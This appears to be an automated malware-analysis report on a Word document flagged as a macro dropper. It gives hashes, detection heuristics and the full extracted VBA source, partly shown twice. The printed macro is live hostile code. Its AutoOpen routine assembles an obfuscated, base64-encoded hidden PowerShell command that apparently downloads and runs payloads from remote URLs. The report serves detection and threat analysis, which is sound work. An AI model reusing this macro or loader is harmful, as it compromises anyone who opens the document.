Office (OLE) malware analysis — malicious · 17d1b3284e1ec9df

MALICIOUS

Office (OLE)

115.0 KB Created: 2018-05-24 08:05:00 Authoring application: Microsoft Office Word First seen: 2018-07-04

MD5: 772d0512827ee8c29354361dd21e1cdd SHA-1: f6d78ad5814e6c3b2f4aaa8f5a899bd286c7f11c SHA-256: 17d1b3284e1ec9df2aafa18ce69223fea2b6bfec7e25cdd4b5d96ec132ce1c19

210 Risk Score

Heuristics 7

ClamAV: Doc.Dropper.Agent-6555751-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6555751-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA

Matched line in script

KhbazN = 5512
kZIrcrZiz = Shell(bFqQBzIGwC + Chr(vbKeyP) + jTOXNP + EIoMGp, vbHide)
HNBNW = DqOmuk - Cos(sMRIci) * 1 - Chr(72015) / 81525 - ChrB(NfLwE)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17189 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	17189 bytes
SHA-256: `7f6940c0df7155d321ba508c1294cadbed87eaad5e013d60a421649816173a32`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "SIENVrpqsEzaR" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function NTDpKIPNr() On Error Resume Next CRtCR = kvJpp - Cos(CBtDHb) * 1 - Chr(48747) / 18555 - ChrB(ICjSJ) FqlYV = 9412 lhHnjj = mSiZSK - Cos(jSCYlB) * 1 - Chr(66815) / 88474 - ChrB(JjIGi) YRUWS = 31326 NTDpKIPNr = kwMZBuC + IUXizuBmja + wvQmuaJ + nBFqnwDUcKn + MhMNHln + vTizN + YubADWTq + ZOlKRIzcQfJ + DzITv + DcoYUfaIKm wUvpL = qTKAwV - Cos(XizjD) * 1 - Chr(3454) / 84020 - ChrB(wDXdS) uRFvrP = 45002 End Function Sub Autoopen() On Error Resume Next icvpC = vzjKl - Cos(jpRkS) * 1 - Chr(31730) / 47306 - ChrB(zQXMsw) CEEGFz = 1865 adDibd (NTDpKIPNr) XnOzn = wTNrK - Cos(FzUcb) * 1 - Chr(83295) / 57625 - ChrB(RFjwD) tufDj = 18187 End Sub Function adDibd(EIoMGp) On Error Resume Next puzEQk = wzJVi - Cos(qCkbfO) * 1 - Chr(40596) / 53801 - ChrB(RERwfd) oKLAV = 30243 XYKGH = UvOOGR - Cos(JEXSoD) * 1 - Chr(13889) / 55611 - ChrB(mUFtuI) KhbazN = 5512 kZIrcrZiz = Shell(bFqQBzIGwC + Chr(vbKeyP) + jTOXNP + EIoMGp, vbHide) HNBNW = DqOmuk - Cos(sMRIci) * 1 - Chr(72015) / 81525 - ChrB(NfLwE) iqtwBD = 20908 End Function Attribute VB_Name = "BtGDjiqGzYM" Function kwMZBuC() On Error Resume Next wrcPok = DCERqK - Cos(brVBUz) * 1 - Chr(71813) / 78175 - ChrB(GtTRXP) NNcZO = 54015 iirsI = "owersHeLL -Wi" + "nDowsTyle hidde" + "n -e KAAo" + "ACIAewAxADMAOQB" + "9AHsANgB9AHsAOQ" + "AxAH0AewA3ADQ" + "AfQB7ADEAMQA" XqbmD = AzkIlG - Cos(zzszvK) * 1 - Chr(88203) / 40761 - ChrB(USVot) EOkTzq = 97241 CTDUX = "wAH0AewAyADkAf" + "QB7ADgAMwB" + "9AHsAMg" + "A2AH0AewA" + "4AH0AewA5ADA" sLhoz = JKfQd - Cos(NVcdE) * 1 - Chr(65811) / 60785 - ChrB(WIQPG) uWXSH = 92438 PjiBpTndO = "AfQB7AD" + "EAMQAxAH0AewAxA" + "H0AewA5ADMAf" + "QB7ADEAMAA5A" + "H0AewAxADQAM" pzoNVw = MJmEL - Cos(dilHPR) * 1 - Chr(20661) / 95134 - ChrB(kuSioM) nNJjMX = 42850 PaDGQOL = "wB9AH" + "sAOAAwAH0A" + "ewA2ADMAfQ" + "B7ADgAM" + "QB9AHsAOAA2AH" + "0AewAxADIA" + "MAB9AHsAO" + "QA2AH0AewA" + "4ADcAfQB7ADI" + "ANAB9AHsAMQ" PilSoM = MEYfM - Cos(QCplBB) * 1 - Chr(28130) / 88996 - ChrB(nIAZWZ) iUGMzr = 63393 mAcjiCjdpNS = "AzADcAfQ" + "B7ADkAN" + "QB9AHsAMQAxADY" + "AfQB7ADYAMQB" + "9AHsAMQAyADUA" + "fQB7ADE" + "AMwAzAH0AewAxAD" + "AAMwB9AHsANA" sJbPiO = IACWK - Cos(vLVHt) * 1 - Chr(39623) / 90698 - ChrB(ROpwRa) YznZV = 20327 sGNLuO = "A1AH0Ae" + "wA2ADkAfQB7ADQ" + "AfQB7ADEA" + "MwB9A" + "HsAMgA3A" sazMhd = zXAOai - Cos(kEDWl) * 1 - Chr(3027) / 51634 - ChrB(mSQnFj) OzoJC = 36939 fpcPzDIA = "H0AewAx" + "ADIAMgB9AHsANAA" + "yAH0A" + "ewA3AD" + "UAfQB7" + "ADEAMwA1AH0" + "AewA0ADcAfQB7A" IhnRiS = phqruo - Cos(kCkIRz) * 1 - Chr(76683) / 62999 - ChrB(tYPwJD) Rfqpw = 42093 tiYGpkw = "DEAMgA4AH0Aew" + "A1ADMAfQB7ADYAN" + "wB9AHsAMQA0ADAA" + "fQB7ADEAMQA5A" UWIEzl = wKvGi - Cos(EAkWHb) * 1 - Chr(72417) / 89269 - ChrB(PThlHY) EwzOT = 29934 CDnuOJAz = "H0AewA2ADIAfQB" + "7ADUANQB9AHs" + "AMQAzA" + "DQAfQB" + "7ADMAMAB9AHsAMw" + "AzAH0AewA" + "5ADkAfQB7ADEAMA" + "A2AH0AewA" kwMZBuC = iirsI + CTDUX + PjiBpTndO + PaDGQOL + mAcjiCjdpNS + sGNLuO + fpcPzDIA + tiYGpkw + CDnuOJAz End Function Function IUXizuBmja() On Error Resume Next JsqvWz = TriJU - Cos(uThVk) * 1 - Chr(78133) / 53163 - ChrB(pXLdA) FwIQap = 27018 WPJiHWJRsKt = "xADIANAB" + "9AHsAMQ" + "AwADQAfQB" + "7ADEAMgA3AH0" + "AewA5ADIAfQ" dQfPzi = cCcmHR - Cos(Rcdfni) * 1 - Chr(38405) / 39757 - ChrB(SVNHWi) ifDSp = 32449 VjtHBPEwWE = "B7ADUANwB9" + "AHsAMgA1AH0" + "AewAzADgAf" + "QB7ADEAN" + "AB9AHsAM" + "gA4AH0Aew" + "AxADkAfQB7ADE" UrwLNU = qtSVfj - Cos(vBjHJm) * 1 - Chr(26511) / 88605 - ChrB(XZtotH) wuAmJ = 76673 wNKXRkFQiE = "ANQB9AH" + "sAMgB9AHsAMQAwA" + "DEAfQB7" + "ADkANwB9" + "AHsAMQAz" + "ADEAfQB7ADEAM" + "wA4AH0Aew" TGzvbb = mqBbni - Cos(Ljiba) * 1 - Chr(14165) / 49309 - ChrB(TfpjqT) fudHKP = 1800 cqcNkUIMR = "AxADMANg" + "B9AHsAMQAxAH0Ae" + "wA1AH0AewA3AD" + "EAfQB7ADEAMQA0" + "AH0AewAxA" + "DAANQB9" + "AHsAM" qmSok = rNGdjn - Cos(VKijR) * 1 - Chr(66459) / 75494 - ChrB(GslbM) HwjUE = 19417 LCtatFGv = "QA0ADEAfQB7ADQ" + "AOQB9A" + "HsAMg" + "AyAH0AewA0ADg" + "AfQB7ADkAfQB7" + "ADUAMQB9AHsAMw" + "A1AH0AewA3ADkA" + "fQB7ADUAMgB9AHs" + "ANQAwAH0AewAx" + "ADYAf" opISp = cSjGG - Cos(MKjuas) * 1 - Chr(63179) / 26305 - ChrB(jtjMXY) OZIidq = 63231 hnbrj = "QB7ADUANgB9AH" + "sAMQAxAD" + "gAfQB7ADk" + "ANAB9AHsANg" + "A4AH0AewAx" + "ADAAf" + "QB7ADEAMwA" + "yAH0AewAzA" aNcjL = XmiwA - Cos(XDFbY) * 1 - Chr(93111) / 65002 - ChrB(vbGRd) DJzcBV = 56857 SOXnOUITH = "DIAfQB7ADE" + "AMQA1AH" + "0AewA0ADMA" + "fQB7ADQAMQB9AHs" + "ANgA0AH0A" + "ewAzADYAfQB7A" + "DIAMAB9AHsANwB" UMQAC = MHBQXY - Cos(LUhGh) * 1 - Chr(17561) / 54414 - ChrB(wHKDT) NoCufW = 16952 NiwFiLqlw = "9AHsANw" + "AyAH0AewAzADEAf" + "QB7ADEAMAA4A" + "H0AewA1ADk" IUXizuBmja = WPJiHWJRsKt + VjtHBPEwWE + wNKXRkFQiE + cqcNkUIMR + LCtatFGv + hnbrj + SOXnOUITH + NiwFiLqlw End Function Function wvQmuaJ() On Error Resume Next sLXttr = apuFfs - Cos(QWUMBp) * 1 - Chr(43316) / 9990 - ChrB(wjqwS) VsBDdb = 41811 UNKoPfFk = "AfQB7ADEAN" + "AAyAH0Aew" + "A4ADk" + "AfQB7ADMA" + "NAB9AHsAMQ" + "A3AH0AewA0AD" + "QAfQB7ADEA" nPkkYS = wnFYY - Cos(ZSVSMn) * 1 - Chr(11146) / 51857 - ChrB(CsVbU) DcPNu = 77284 GiqDpWJUhE = "MgA5AH0Ae" + "wA5ADgAfQB7" + "ADEAMAAwAH0" + "AewA3ADAAf" + "QB7ADUANAB9AHs" + "ANAAwAH0" + "AewAxA" + "DIAMwB" + "9AHsAMQAxAD" wQFwnp = wlatTv - Cos(jkRoP) * 1 - Chr(13956) / 55702 - ChrB(rPzzP) KqLirs = 43179 bWcZiKi = "MAfQB" + "7ADgANQB" + "9AHsAMgAxAH0Ae" + "wA4ADIAfQB7AD" + "EAMQA3AH0AewAx" + "ADIAfQB" + "7ADIAMwB" + "9AHsAOAA0AH0Ae" NNAQc = QSbHY - Cos(XswYij) * 1 - Chr(8314) / 68127 - ChrB(pBpaD) vOPbDD = 53111 sQnRS = "wA2AD" + "AAfQB7ADcAO" + "AB9AHsAMQAyADYA" + "fQB7ADgAOAB9" + "AHsANgA1" + "AH0AewAxADgAfQB" + "7ADMAfQB7A" DoziP = YopZnX - Cos(smAKo) * 1 - Chr(75051) / 59811 - ChrB(MKqYb) DLjVY = 91544 LVFol = "DEAMQAyAH0AewA3" + "ADMAfQB" + "7ADEAMwAwA" + "H0AewAx" + "ADAANwB9AHsA" + "MwA5AH0AewAw" + "AH0AewA1ADgAfQ" + "B7ADcANwB9AHsA" ukfBp = ABMPnj - Cos(DcPQO) * 1 - Chr(30942) / 93299 - ChrB(rdIGna) cIEOc = 94055 mSIFWnQuMt = "NAA2AH0AewAxADI" + "AMQB9" + "AHsANgA2AH0A" + "ewA3ADYAfQB7ADE" + "AMAAyAH0AewAzAD" + "cAfQAiACAALQBmA" + "CcAMQAnA" + "CwAJwBq" + "AGUAJwAsACcAb" + "gAuAGMA" BUIzzi = zvDsH - Cos(bwQGI) * 1 - Chr(98244) / 43692 - ChrB(HWvBM) ZDLYEW = 11178 cURSY = "bwBtAC8" + "AbwB5ADQAJwAsA" + "CcASAAnACwAJwB" + "vAHYAb" wvQmuaJ = UNKoPfFk + GiqDpWJUhE + bWcZiKi + sQnRS + LVFol + mSIFWnQuMt + cURSY End Function Function nBFqnwDUcKn() On Error Resume Next uHPQSb = hEOfIt - Cos(swFcau) * 1 - Chr(89672) / 96463 - ChrB(znwzv) iokMBB = 17211 XMRijEAtEZd = "gBuAHMAYQBkACcA" + "LAAnAGwAJwA" + "sACcAbgB" + "uAHMA" + "YQBkAGE" + "AcwBkACAA" + "PQAgACYAKAAnACw" + "AJwApACcALAA" sjuLZR = WDmtLM - Cos(bwLfw) * 1 - Chr(88410) / 35825 - ChrB(UivzaZ) wsdjHM = 92528 BoVNzDjhc = "nAEoASAAnACwAJ" + "wBuACc" + "ALAAnAGkAYwA" + "gACcA" iVjfaj = DjXLN - Cos(AVFOYP) * 1 - Chr(24629) / 31399 - ChrB(crHcG) PcFGfR = 55496 TnjZIWz = "LAAnAC8AaAB" + "lAGEAJwAsACc" + "AKAApACwAIAAn" + "ACwAJwBhAHMAZAA" + "uAG4AZQB4A" + "HQAKAAxADAAMAA" QNstI = LZOMGv - Cos(YUjzj) * 1 - Chr(28952) / 36026 - ChrB(oYwcQn) SEiWX = 20412 zkpsmI = "wADAAL" + "AAnACwAJw" + "AvAEAAJwAsACcA" + "cwBpAGcAJwAsA" AfWEpD = cuVKX - Cos(IVJvCK) * 1 - Chr(33834) / 52708 - ChrB(tQsmEH) ijYMi = 36835 sFlbWR = "CcARAAn" + "ACwAJwB" + "uACAAbwB2" + "AG4AJwAsACcASg" bfZOq = dcRsw - Cos(wvmUNt) * 1 - Chr(26962) / 21857 - ChrB(FLCzuS) mmLIp = 35244 MqkzZRlMJ = "AnACwAJwAvAGk" + "AbQBnAGY" + "AeABkAG" + "UAJwAsACc" + "ASAAn" + "ACwAJw" + "AwACcALAAnAC" QcvaPM = wzqGL - Cos(sPKTU) * 1 - Chr(14985) / 33443 - ChrB(TWPwt) qfjnI = 57546 Gsiso = "8ATABzADgAYwA" + "vAEAAaAB" + "0AHQAcAA6AC8AJ" + "wAsACcAbwB2AG4" + "AUwBEAEMAKQA" + "nACwAJwBvA" + "CcALAAnAGM" + "AJwAsACcAKwAxAC" VrSSw = UHMLsj - Cos(YXcso) * 1 - Chr(64863) / 1807 - ChrB(zGfiW) bTSDzh = 4208 RbhLJ = "cALAAnA" + "CAAJwA" + "sACcAaAB0A" + "HQAcAA6A" + "C8AJwAsACcAZQA" + "xAEoAJwAs" + "ACcATwAvAEA" + "AJwAsACcA" + "cgAnACwAJwBsA" nBFqnwDUcKn = XMRijEAtEZd + BoVNzDjhc + TnjZIWz + zkpsmI + sFlbWR + MqkzZRlMJ + Gsiso + RbhLJ End Function Function MhMNHln() On Error Resume Next XsBWI = NHLWMq - Cos(SCowbc) * 1 - Chr(99703) / 47828 - ChrB(mnczto) HvBBCz = 69402 CKXGazUz = "FkAMQBKAEgAIA" + "AnACwAJwB" + "oAHQAdAAnACw" + "AJwBmAGMA" + "IABpACc" + "ALAAnA" + "EoASAAuAF" + "MAJwAs" + "ACcAMQBKAEg" + "AZQAxAEo" RZEzqu = RjKIQ - Cos(FWECzl) * 1 - Chr(10762) / 25823 - ChrB(ICZNDb) omSSw = 63250 Hiijzi = "AJwAsACcAfQ" + "B9ACcALAAnA" + "GwAaQBlAG4" + "AdAAvAEYAW" YAiqd = wplXP - Cos(YzwEO) * 1 - Chr(58646) / 57786 - ChrB(QBZcr) GrYpzh = 46500 ZnJEEz = "QAwAFI" + "ATgB5AGUAJw" + "AsACcAbQ" + "AnACwAJwBpAGw" + "AZQAnACwA" jBOvb = zTRBzA - Cos(OqhEo) * 1 - Chr(36426) / 17229 - ChrB(WaGwzP) Rvaii = 8012 UnzPVmaAw = "JwBIAC4AZQB4ACc" + "ALAAn" + "ADgAJwAsACcAQ" + "gAgACsAI" + "AAoADEASgAnA" + "CwAJwBBAEQ" + "AQwBYACkAew" + "B0AHIAeQB7A" + "CcALAAnADsAJ" + "wAsACcAbgAnACwA" wqSCm = zkXird - Cos(BqlJOP) * 1 - Chr(66884) / 18252 - ChrB(IwicsB) bPVzw = 86784 LGizZi = "JwBBAEQAJw" + "AsACcALwBi" + "AGEAawB" + "pACcALAAnAG0AJw" + "AsACcAdgB" + "uAFMAJwAsAC" + "cAbwAuAGMAb" + "wBtAC8ATQ" + "BVAFAAdA" mljiol = bHTXD - Cos(KRUPVH) * 1 - Chr(41952) / 65730 - ChrB(XKhvO) PVivIz = 98209 JFHFwOATCa = "ByAC8AMQAn" + "ACwAJw" + "BKAEgAKQA" + "7AG8AJwAsACcA" + "WAAgA" + "D0AJwAs" + "ACcAYwAnACwAJw" + "BjAG8AbQ" MhMNHln = CKXGazUz + Hiijzi + ZnJEEz + UnzPVmaAw + LGizZi + JFHFwOATCa End Function Function vTizN() On Error Resume Next hjuXY = oLEpaL - Cos(vGdpX) * 1 - Chr(17096) / 30619 - ChrB(VBtXG) mpbvb = 21783 wfWJw = "AvAGsAMwBhAE" + "oAJwAsACcAQw" + "AgAD0AIAB" + "vAHYAbgAnACw" + "AJwAvAGEAcw" mibkzB = MFsUDl - Cos(OAGkq) * 1 - Chr(67597) / 19002 - ChrB(iBARU) VdtzA = 32852 FiVRztKir = "BwAG4AZQB0A" + "F8AJwA" + "sACcASgBIA" + "CkAJwAsACcAaA" + "AnACw" XCFZH = AQJYTU - Cos(XoVLkc) * 1 - Chr(68462) / 50708 - ChrB(Zjfji) cwUDUK = 82988 ahvQZQrX = "AJwAo" + "ACcAL" + "AAnAFMAeQBzAHQ" + "AZQBtAC4AJwA" + "sACcAbABvAH" BKiAIv = cjzci - Cos(IiOXhi) * 1 - Chr(37301) / 55337 - ChrB(ubDKo) DQAhj = 83217 RiVndizJk = "UAZABjAGEAcAB" + "nAGEAb" + "QBlAHM" + "ALgAnACwAJwBv" + "AG0AOwBvA" + "HYAbgBZAFkAV" + "QAgACc" + "ALAAnADEASgBIA" ACbaf = zCiDAJ - Cos(QGfnb) * 1 - Chr(45693) / 40173 - ChrB(QHwwGL) Qzuwp = 77476 XFlwaX = "CsAJwAsACc" + "AMQAnA" + "CwAJw" + "BEAEMAKQ" + "A7AGIAJw" + "AsACcAIAAx" + "AEoASAAN" + "AAoAaAB0ACcAL" MwGDkf = LXDAU - Cos(zkMGIW) * 1 - Chr(77088) / 68669 - ChrB(ibYXZm) JCUfiu = 67763 qYfRkGjfW = "AAnAHA" + "AdQBiAGwAJwAs" + "ACcAbw" + "B2AG4ATgBTAEIAI" + "AA9ACAAJwAsACc" + "ASQAwAC" XnpNEj = wmRafk - Cos(pTAwRR) * 1 - Chr(59549) / 61105 - ChrB(FjaOB) pKDBji = 41761 wEicGhz = "cALAAnA" + "HQAaAB5ACcALAAn" + "ADsAZgBvACcALAA" + "nAGUA" + "JwAsACcAS" afKldl = wGAUM - Cos(fkcRB) * 1 - Chr(84339) / 50013 - ChrB(jdVrSz) XiEFT = 74433 pETYLoSRzS = "gBIAG4AMQBKA" + "EgAJwAsACcA" + "MgAxADMAMw" + "ApACcALAA" + "nAHIAZQBh" + "AGsAJwAsACcAKA" + "BvAHYAJwAs" + "ACcAMQBKAEg" + "ASQBuAHYAJw" + "AsACcAcABsAGkAd" TGjBt = HZato - Cos(JZajiq) * 1 - Chr(91748) / 93189 - ChrB(BptKow) cwPtOF = 34150 KpWtcOdO = "AAoADEASg" + "BIAEAAMQAn" + "ACwAJwAxAEoA" + "SAB0ADEASgB" + "IACkAIAByAGEAb" + "gBkACcALAAnAD0A" vTizN = wfWJw + FiVRztKir + ahvQZQrX + RiVndizJk + XFlwaX + qYfRkGjfW + wEicGhz + pETYLoSRzS + KpWtcOdO End Function Function YubADWTq() On Error Resume Next lzwSd = DbDnn - Cos(wuZOXq) * 1 - Chr(60555) / 34296 - ChrB(mrEIf) divQDH = 9751 jbwMv = "IAAnACwAJwB" + "jAGkATgBnA" + "CcALAAn" + "AEgAJwAsACcAOw" + "AmACcALAAnAHIAM" + "ABjAGkAaQ" + "AnACwAJ" fscTmz = qWBRi - Cos(XAVYaz) * 1 - Chr(9684) / 98609 - ChrB(tKzJa) HXjZrw = 87982 IfDzi = "wAuACgAMQBKAEgA" + "bgBlADE" + "ASgBIACsAMQBK" + "AEgAJwAsACcA" + "KwAxAEoASAAt" + "ACcALAAnACs" + "AMQBKAEgAawAnAC" + "wAJwB2" + "AG4AYQBzACcALA" + "AnAHcALQ" vWsUC = UDqAQF - Cos(asdHAw) * 1 - Chr(44346) / 99457 - ChrB(WdWRi) Srnldi = 49909 oXfXXPfYz = "BvACcAL" + "AAnADEAJwA" + "sACcARg" + "BpAHIAZQAuAGMAb" + "wBtACcALAAnAG" + "MAMQBKACcALA" + "AnADoAJwA" hfCDn = UwtUTh - Cos(FRrzWW) * 1 - Chr(56166) / 1082 - ChrB(zlNVk) NibwAr = 91783 zJCnRUaOYjh = "sACcAZQBjAHQA" + "MQAnACwAJwAxAEo" + "ASAAnACwAJwB" + "HAFAAJwAsACcA" + "YQBkACcALAAn" zvjJza = CzBUNa - Cos(nHIwAS) * 1 - Chr(65588) / 33163 - ChrB(RFViOt) jnJpt = 4229 QtqdWf = "AHAAJwAs" + "ACcARgAnAC" + "wAJwByAC" + "cALAA" + "nADsAfQB" + "jAGEAdABjAGg" Mfafvn = AXYRr - Cos(qDqdu) * 1 - Chr(62094) / 11474 - ChrB(DcrVJ) VhDlCl = 38815 swLhT = "AewAnACwA" + "JwBXAGUAYgBD" + "AGwAaQB" + "lAG4AdAAnA" + "CwAJwBh" + "ACcALAAn" + "AGUAdgBlAGw" + "AJwAsAC" YubADWTq = jbwMv + IfDzi + oXfXXPfYz + zJCnRUaOYjh + QtqdWf + swLhT End Function Function ZOlKRIzcQfJ() On Error Resume Next Ranmdd = izRXY - Cos(cwjuNw) * 1 - Chr(40802) / 16207 - ChrB(jJmJq) UmOGA = 87693 pNHOzm = "cAOgAvAC8ARg" + "BsAG8A" + "cgBpAHMAJwAsAC" + "cAZQA" + "nACwAJwBlAGE" + "AYwAnACwAJwBI" + "ACcALAAnAC" QpHCcA = fZwkz - Cos(kWqpow) * 1 - Chr(76911) / 27594 - ChrB(iAUnzN) CQYkq = 61654 FMNIKrGnGS = "sAMQBK" + "AEgAJwAsA" + "CcAYg" + "AnACwAJwArA" + "DEASg" + "BIACcALAAnAHQ" + "AJwAsACcAcgAnA" + "CwAJwArACAAbwB" nLUUmX = KBKzi - Cos(wZRBFY) * 1 - Chr(49516) / 21692 - ChrB(ioDHU) hMOCE = 59409 HwARQawNhLY = "2AG4A" + "TgBTA" + "CcALAAnAEoASA" + "ApACAAJwA" + "sACcARA" + "BOAFUAJwAsACcA" + "ZQBuAHY" + "AJwAsACcA" + "cAA6AC8ALwBj" + "ACcALAAn" dUiBq = TwJpOP - Cos(dzWfS) * 1 - Chr(12144) / 61696 - ChrB(cfQiDn) pwviTs = 91886 DTUJsvzEE = "AHcAJwA" + "sACcAUwAnACw" + "AJwAyAC" + "cALAAn" + "AEQATgBVACgA" + "bwB2AG4A" + "YQBzAGYAYwAuAEQ" + "ATgBVAFQA" + "bwBTACcALAA" + "nAHMA" WEhsrI = wpsGt - Cos(pjkwwX) * 1 - Chr(1783) / 78751 - ChrB(WntqJ) ukwVh = 4894 YZVqGNp = "JwAsACc" + "ATgAnACwAJwBvAD" + "EASgBIACcALAAn" + "AG4AdAAnACwAJwB" + "DACcA" + "LAAnAG8" + "AdgBuAF" + "kAWQB" + "VAC4ARA" + "BOAFUARAB" akNoY = hbmzt - Cos(zNKfUV) * 1 - Chr(90109) / 14953 - ChrB(huwBw) DEvkL = 61721 OiWGUZ = "vADAAYwB" + "pAFcAbgBsADAAY" + "wBpAE8AJwAs" + "ACcALQBJAHQAJ" + "wAsACcA" + "dwAnACwAJw" + "ArACAAMQB" + "KAEgAUQAnACwAJ" + "wBlAHQAL" + "gAnACwAJ" IAkKzw = mjpAw - Cos(zkEcA) * 1 - Chr(74357) / 89941 - ChrB(tpOmZs) XrMiOK = 10257 OHICTmIFWw = "wAzACcALA" + "AnADsAbwB2AG4" + "AJwAsA" + "CcAOgAvACcALA" + "AnAGIAagA" + "nACwA" + "JwAvAEAA" vJVwz = wEwFo - Cos(TATjZ) * 1 - Chr(71779) / 96784 - ChrB(KVXZE) PscRhz = 88998 azBZr = "aAB0A" + "HQAcAAnACwAJw" + "BvAHYAJwAsACc" + "AdAAnACwAJwB" JSiou = vkQhk - Cos(JWYdIc) * 1 - Chr(22992) / 81545 - ChrB(ZlwuVH) bjXpR = 88657 DIduEl = "hAHQAaQBvAG" + "4AcwAuA" + "GMAbwAnACwAJw" + "AoAG8AJwAsAC" + "cAKwA" + "nACkAKQ" + "AuAFIAZQBQAGwA" + "YQBDAEUAK" + "AAoAF" AEkqdT = FqoXV - Cos(UzJFnD) * 1 - Chr(50130) / 69885 - ChrB(iuZMpJ) JvOPjX = 48182 XjDFcLQW = "sAYwBIAGEAcg" + "BdADYA" + "OAArAF" + "sAYwBIA" + "GEAcgBdADcAOAAr" + "AFsAYwBIA" + "GEAcgB" + "dADgANQAp" + "ACwAWwBzAFQAUgB" ZOlKRIzcQfJ = pNHOzm + FMNIKrGnGS + HwARQawNhLY + DTUJsvzEE + YZVqGNp + OiWGUZ + OHICTmIFWw + azBZr + DIduEl + XjDFcLQW End Function Function DzITv() On Error Resume Next miWZT = HWzPlc - Cos(SBNUG) * 1 - Chr(38390) / 41848 - ChrB(QRiQWj) IGMwak = 35890 YFvhhw = "JAG4AZw" + "BdAFsAYwBIAGEA" + "cgBdA" + "DMANA" + "ApAC4AU" + "gBlAFAAbABh" hARlb = ZzDjL - Cos(tAvZDD) * 1 - Chr(65502) / 41391 - ChrB(sJwON) tDoCn = 99404 fIOAVTvaWpA = "AEMARQAoA" + "CcAUQBsAFkAJwA" + "sAFsA" + "cwBUAFIASQ" + "BuAGcAXQBbAGMAS" + "ABhAHIAXQA5ADI" + "AKQAuA" + "FIAZQBQA" jTpiuS = TakLpz - Cos(LmtXC) * 1 - Chr(94498) / 77808 - ChrB(qUWNKj) OiYrzU = 52327 CpnHBkNbiw = "GwAYQBDAEU" + "AKAAoAFsAYwBI" + "AGEAcgBdADQA" + "OQArAFsAYwB" + "IAGEAcgBdADcA" + "NAArAF" + "sAYwBI" + "AGEAcgBd" + "ADcAMgApACw" + "AWwBzAFQAU" VIPizR = lZNFi - Cos(vfkCH) * 1 - Chr(83560) / 55866 - ChrB(LjIKZ) FmzCn = 69057 fqwHaRNlN = "gBJAG4AZ" + "wBdAFsAYwBI" + "AGEAcgB" + "dADMAOQApAC4" + "AUgBlAFAAbABhA" + "EMARQAoACcAbw" + "B2AG4" + "AJwAsAFsAcwBUAF" DzITv = YFvhhw + fIOAVTvaWpA + CpnHBkNbiw + fqwHaRNlN End Function Function DcoYUfaIKm() On Error Resume Next XOmSr = RizzE - Cos(cSznpp) * 1 - Chr(55277) / 96461 - ChrB(JcHTX) TwcLR = 97157 odZkDiSWGnQ = "IASQBuAGcAXQBbA" + "GMASAB" + "hAHIAXQAzA" + "DYAKQAuAFIAZQBQ" + "AGwAYQBDAEU" + "AKAAoAFsAYw" + "BIAGE" + "AcgBdA" + "DQAOAAr" + "AFsAYwB" YRzjQ = LlNjD - Cos(wsGwH) * 1 - Chr(25798) / 21382 - ChrB(mOlfzT) wkVom = 98667 ZfZzpCjfN = "IAGEAc" + "gBdADkAO" + "QArAFsAYw" + "BIAGEAc" + "gBdADEAMAA1" + "ACkALABbAHMAVA" + "BSAEkAbgBnA" + "F0AWwBjAEg" uiqFY = mdvvD - Cos(aMMAU) * 1 - Chr(95715) / 12752 - ChrB(dJfRk) BMBssQ = 26293 DoTcMmzESzr = "AYQByAF0" + "AOQA2ACkAfAAg" + "AC4AIAAo" + "ACAAJABw" + "AHMASABvAG0AZQ" zYICoC = ISqbss - Cos(mkAqj) * 1 - Chr(74106) / 69821 - ChrB(CYUbGa) CDntrP = 76645 UjVAIkHri = "BbADQAXQArACQA" + "UABzAGgA" + "bwBNAEUAWwA" + "zADAAXQArACcA" + "eAAnACkA" DcoYUfaIKm = odZkDiSWGnQ + ZfZzpCjfN + DoTcMmzESzr + UjVAIkHri End Function

SHA-256: 7f6940c0df7155d321ba508c1294cadbed87eaad5e013d60a421649816173a32

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "SIENVrpqsEzaR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function NTDpKIPNr()
On Error Resume Next
CRtCR = kvJpp - Cos(CBtDHb) * 1 - Chr(48747) / 18555 - ChrB(ICjSJ)
FqlYV = 9412
lhHnjj = mSiZSK - Cos(jSCYlB) * 1 - Chr(66815) / 88474 - ChrB(JjIGi)
YRUWS = 31326
NTDpKIPNr = kwMZBuC + IUXizuBmja + wvQmuaJ + nBFqnwDUcKn + MhMNHln + vTizN + YubADWTq + ZOlKRIzcQfJ + DzITv + DcoYUfaIKm
wUvpL = qTKAwV - Cos(XizjD) * 1 - Chr(3454) / 84020 - ChrB(wDXdS)
uRFvrP = 45002
End Function
Sub Autoopen()
On Error Resume Next
icvpC = vzjKl - Cos(jpRkS) * 1 - Chr(31730) / 47306 - ChrB(zQXMsw)
CEEGFz = 1865
adDibd (NTDpKIPNr)
XnOzn = wTNrK - Cos(FzUcb) * 1 - Chr(83295) / 57625 - ChrB(RFjwD)
tufDj = 18187
End Sub
Function adDibd(EIoMGp)
